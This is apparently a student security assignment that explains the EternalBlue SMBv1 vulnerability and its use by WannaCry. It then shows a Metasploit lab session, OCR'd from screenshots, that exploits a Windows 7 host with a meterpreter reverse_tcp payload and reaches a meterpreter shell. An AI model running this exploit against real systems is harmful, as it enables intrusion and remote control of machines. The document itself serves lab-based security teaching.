Individual Assignment

- There was a Known Windows 7 Exploit called "EternalBlue" that can be exploited by Metasploit.
 - a. What is it?
 - b. Which vulnerability is exploited by this exploit
 - c. How does it work
 - d. How can we exploit it using Metasploit show with screenshots.

Answer

What is EternalBlue?

EternalBlue is a software vulnerability in Microsoft's Windows operating system. It targets the Windows Server Message Block (SMB) protocol, a network protocol that enables shared access to files, printers, and other resources within a network.

The United States National Security Agency (NSA) discovered this vulnerability, and it was a part of their secret toolkit. It became public when a hacker group called the Shadow Brokers leaked the NSA's tools in April 2017.

Understanding the Vulnerability

To grasp the core of the EternalBlue vulnerability, we must understand the SMB protocol. It relies on port 445 to enable network communications, and this is where the flaw resides.

- 1. **The Bug in SMBv1**: The main issue lies in the handling of specially crafted packets by the SMBv1 protocol. By sending specific requests to a Windows Server running SMBv1, a remote attacker can execute random code on the target system.
- 2. **DoublePulsar:** Accompanying EternalBlue is DoublePulsar, a backdoor implant tool. Once EternalBlue opens the way, DoublePulsar helps in injecting and running malicious code on a target system.
- 3. **Lack of Segmentation**: The nature of SMB allows for lateral movement within the network. It allows an attacker to spread the malware from one system to another. It means that once inside, the malicious software could travel through an entire network if not properly segmented.

How does EternalBlue work

The EternalBlue exploit works by **taking advantage of SMBv1 vulnerabilities** present in older versions of Microsoft operating systems. SMBv1 was first developed in early 1983 as a network communication protocol to enable shared access to files, printers, and ports. It was essentially a way for Windows machines to talk to one another and other devices for remote services.

The exploit makes use of the way Microsoft Windows handles, or rather mishandles, specially crafted packets from malicious attackers. All the attacker needs to do is send a maliciously crafted packet to the target server, and, boom, the malware propagates and a cyberattack ensues.

The **WannaCry ransomware** attack was the most notorious one, affecting more than 200,000 computers across 150 countries. It was the first to showcase the full destructive potential of EternalBlue.

Moreover, other malware like **NotPetya** and **Bad Rabbit** also leveraged EternalBlue, causing substantial damage and financial losses.

NOTE: EternalBlue's Common Vulnerabilities and Exposures number is logged in the National Vulnerability Database as *CVE-2017-0144*.

Showing how we can exploit it



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-(kali⊛f-society)-[~]
msf6 > search eternalblue
Matching Modules
   # Name
                                              Disclosure Date Rank
   Check Description
   0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 avera
ge Yes
          MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corrupt
   1 exploit/windows/smb/ms17_010_psexec
                                              2017-03-14
  Yes
         MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB
Remote Windows Code Execution
   2 auxiliary/admin/smb/ms17_010_command
                                              2017-03-14
                                                                      me
          MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB
Remote Windows Command Execution
   3 auxiliary/scanner/smb/smb_ms17_010
                                                               norma
         MS17-010 SMB RCE Detection
   No
   4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14
          SMB DOUBLEPULSAR Remote Code Execution
   Yes
Interact with a module by name or index. For example info 4, use 4 or
use exploit/windows/smb/smb_doublepulsar_rce
msf6 > use exploit/windows/smb/ms17_010_eternalblue
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msf6 exploit(w
 Module options (exploit/windows/smb/ms17_010_eternalblue):
                                  Current Setting Required Description
      Name
                                                                                     The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedde d Standard 7 target machines.
(Optional) The password for the specified username
(Optional) The username to authenticate as
Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded St andard 7 target machines.

Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded St andard 7 target machines.
       RHOSTS
       SMBDomain
      SMBPass
      SMBUser
VERIFY_ARCH
 Payload options (windows/x64/meterpreter/reverse_tcp):
                         Current Setting Required Description
                                                                            Exit technique (Accepted: '', seh, thread, process, none)
The listen address (an interface may be specified)
The listen port
     EXITFUNC thread yes
LHOST 192.168.100.82 yes
LPORT 4444 yes
 Exploit target:
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
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\frac{msf6}{msf0} = \frac{(mindows/smb/msb/veros)}{msf6} 
<u>nsf6</u> exploit(
                                                                                                                                   ) > set RHOST 192.168.100.151
          Started reverse TCP handler on 192.168.100.82:4444
          192.168.100.151:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
192.168.100.151:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
192.168.100.151:445 - Scanned 1 of 1 hosts (100% complete)
          192.168.100.151:445 - The target is vulnerable.
         192.168.100.151:445 - Connecting to target for exploitation. 192.168.100.151:445 - Connection established for exploitation.
          192.168.100.151:445 - Target OS selected valid for OS indicated by SMB reply
          192.168.100.151:445 - CORE raw buffer dump (38 bytes)
192.168.100.151:445 - 0×00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
192.168.100.151:445 - 0×00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
          192.168.100.151:445 -
                                                                          0×00000020 50 61 63 6b 20 31
                                                                                                                                                                                                                                                               Pack 1
          192.168.100.151:445 -
                                                                          Target arch selected valid for arch indicated by DCE/RPC reply
          192.168.100.151:445 - Trying exploit with 12 Groom Allocations.
           192.168.100.151:445 - Sending all but last fragment of exploit packet
          192.168.100.151:445 - Starting non-paged pool grooming
        192.168.100.151:445
          192.168.100.151:445
                                                                     meterpreter >
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